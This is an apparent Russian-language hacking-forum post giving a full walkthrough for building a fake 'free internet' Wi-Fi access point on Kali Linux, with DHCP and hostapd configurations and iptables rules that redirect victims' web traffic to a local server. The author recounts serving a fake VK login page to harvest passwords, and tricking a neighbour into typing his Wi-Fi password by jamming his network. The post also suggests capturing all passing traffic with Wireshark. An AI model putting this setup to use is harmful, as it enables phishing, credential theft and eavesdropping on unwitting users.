Фейковая точка доступа является мощным инструментом в руках подкованного человека, и сейчас я хочу поделиться одним из способов ее создания. Я не являюсь специалистом в области каких либо информационных технологий, linux -ом начало пользоваться месяца 4 назад. Перед этим для создания фейка пробовал программы wifi phisher, linset и еще какая то утилита из набора airplay-ng, но ни одна из них не работала. Результат не получил, а желание осталось. И так приступим, что нам требуется: 1. Kali linux 2. Встроенная карта wifi 3. Внешний usb-адаптер wifi ( у меня TL-WN722N) 4. Ноутбук на котором все это будет установлено 5. Рабочая сеть wifi к которой можно подключиться (открытая, закрытая похер) (Да, кстати, стандартный NetworkManager на Кали Линукс я заменил на wicd, он создавал проблемы для работы wifi карт в режиме master) Когда все собрали начинаем работать. Сперва подключаемся к любой сети wifi, затем открываем терминал и вводим команду (смотрим шлюз сети) $ ip r grep default у меня выдает default via 192.168.1.1 dev wlan0 (192.168.1.1 это искали). Далее втыкаем usb wifi адаптер, а в терминале набираем # ifconfig wlan1 hw ether aa:aa:aa:aa:aa:aa Этой командой меняем МАК адрес карты, хотя можно не менять. Подумаешь, засветится реальный мак вашей карты. Далее создаем новую подсеть # ifconfig wlan1 192.168.2.1 netmask 255.255.255.0 up Далее добавляем маршрут # ip r add 192.168.2.0 via 192.168.2.1 Все, карта настроена, сеть создана. На следующем этапе устанавливаем DHCP сервер, кто не знает, это такая штука, которая в автоматическом режиме раздает ip адреса # apt-get install isc-dhcp-server Установилось, отлично, теперь настраиваем. Создаем конфигурационный файл в следующем каталоге /etc/dhcp/dhcpd.conf Внутрь файла сохраняем такие настройки # Не используем динамический DNS (DDNS) ddns-update-style none; # Игнорируем все запросы клиентов на обновление DDNS ignore client-updates; # Этот сервер является ответственным для нашей сети authoritative; # Время аренды IP-адреса default-lease-time 600; max-lease-time 7200; log-facility local7; # Конфигурируем информацию о подсети subnet 192.168.2.0 netmask 255.255.255.0 { # Пул IP-адресов, из которого будет выбираться IP-адрес для клиентов range 192.168.2.3 192.168.2.254; # Шлюз сети, маска и широковещательный адрес option routers 192.168.2.1; option subnet-mask 255.255.255.0; option broadcast-address 192.168.2.255; # DNS-серверы. Укажем DNS интернет-шлюза и, в качестве глобального, DNS от Google option domain-name-servers 192.168.1.1, 8.8.8.8; } Сохраняем. Кликнем правой кнопкой, выбираем свойства, открываем вкладку ПРАВА и смотрим что бы везде было Владелец и группа root, доступ на чтение и запись (из за этой проблемы долго не мог понять почему не запускается). Сделано, Отлично, далее набираем в терминале # touch /var/run/dhcpd.pid # chown root:root /var/run/dhcpd.pid /etc/dhcp/dhcpd.conf И теперь команда на запуск /usr/sbin/dhcpd -cf /etc/dhcp/dhcpd.conf wlan1 Если не видно никаких слов Error в терминале, значит все Ок и продолжаем дальше. Включаем маршрутизацию в ядре # sysctl -w net.ipv4.ip_forward=1 Дальше следует список команд, которые очистят таблицы filtet и nat. Если вы, впрочем как и я в них ни гельмеса не петрите, просто их впишите в терминал по очереди # iptables --flush # iptables --table nat --flush # iptables --delete-chain # iptables --table nat --delete-chain Дальше включаем маскарадинг # iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE Дальше разрешаем трафик для наших клиентов в нашей локальной сети # iptables -A FORWARD -i wlan1 -j ACCEPT Эту строку просто вбейте и забудьте навсегда про нее # iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.1.1 Осталось совсем чуть чуть. Установим программу которая собственно и создает точку доступа # apt-get install hostapd Далее создаем конфигурационный файл в каталоге /etc/hostapd/hostapd.conf Копируем в него следующий текст и ищем строчку в которой задается имя фейковой точки доступа. (Кстати с эти же файлом делаем те же манипуляции что и с dhcpd.conf) По своему вкусу меняем название. # Сетевой интерфейс, который будет использован точкой доступа interface=wlan1 # НАЗВАНИЕ ФЕЙКОВОЙ ТОЧКИ ДОСТУПА ssid=free internet channel=6 driver=nl80211 # Нам надо, чтобы все видели нашу точку ignore_broadcast_ssid=0 # Будем поддерживать как wpa1, так и wpa2 auth_algs=3 # Журналируем только информационные сообщения logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 # Использование управляющего интерфейса только группой root ctrl_interface_group=0 # Не используем MAC-списки доступа для подключения к нашей точке macaddr_acl=0 И вот настал момент запустить точку доступа # /usr/sbin/hostapd -dd -P /tmp/hostapd.pid /etc/hostapd/hostapd.conf Если все прошло успешно, погода на марсе не подвела, афтор не сделал ошибок и ты все скопипиздил правильно, в эфире начнет вещание твоя открытая точка доступа с твоим невероятно оригинальным названием (а вот в терминале появятся много непонятных посланий с марса, пусть они тебя не смущают). Проверь работу точки с помощью своего смартфона. Подключись к ней. Зайти на любой сайт. Если все работает, то продолжаем. Ставим сервер apache. В новом окне терминала набираем команду apt-get install apache2 Апосля установки запускаем service apache2 start Проверяем работу apache набрав в строке браузера localhost или 127.0.0.1 должна открыться страница сервера. Открылась, ура. Идем в каталог /var/www/html удаляем отсюда все и создаем файл index.php (расширение файла именно php). Открывает его и внутри пишем <?php echo "сайт Runion"; ?> сохраняем, закрываем, проверяем в браузере по адресу 127.0.0.1 Должна быть пустая страница с одной фразой "сайт Runion" если все так, то заебись. И переходим к самому главному, то, ради чего все затевалось. В новом окне терминала набираем # sysctl -w net.ipv4.conf.all.route_localnet=1 затем # iptables -t nat -I PREROUTING -p tcp --dport 80 -j DNAT --to 127.0.0.1:80 Берем смартфон и пробуем выйти на любой сайт. Если все правильно работает, то откроется страница нашего сервера, а на экране надпись "сайт Runion". На твоем лице счастье от проделанной работы. Если кто не догадался вместо файла index.php Ставится фейковый, например я таким образом создавал мобильную морду контакта с полями ввода логина и пароля. Скрипт выполнялся и сохранял данные в текстовый файл. Еще применял для взлома вайфай соседа. Ставил вместо index.php морду роутера (я взял из не рабочей программы wifi phisher) с помощью второго ноута глушил точку. сосед подключался к моей точке(наверное тормозил и не понимал что делать на моей странице, но все же вводил пароль) я восстанавливал работу его законной точки, а свою фейковую выключал. Вообще применение зависит от фантазии. Важно знать, если смартфон жертвы уже подключался к какой либо закрытой AP, а вы подняли свою, открытую, но точно с таким же названием, то почти наверняка звонился конектится с вашей. Плюс Минус ряд условий. Самые прошаренные могут не перенаправлять пакеты на свой локальный сервер, а пропускать весь трафик через себя. Программой wireshark подслушать/сохранить весь проходящий трафик( она входит в стандарный набор Кали линукс) Спасибо за внимание, надеюсь у повторяющих все так же работает. Более опытные пользователи надеюсь поделятся своими советами в сторону улучшения. P.S. дабы не быть плагиатчиком огромное спасибо статье xakep.ru/2013/10/01/61348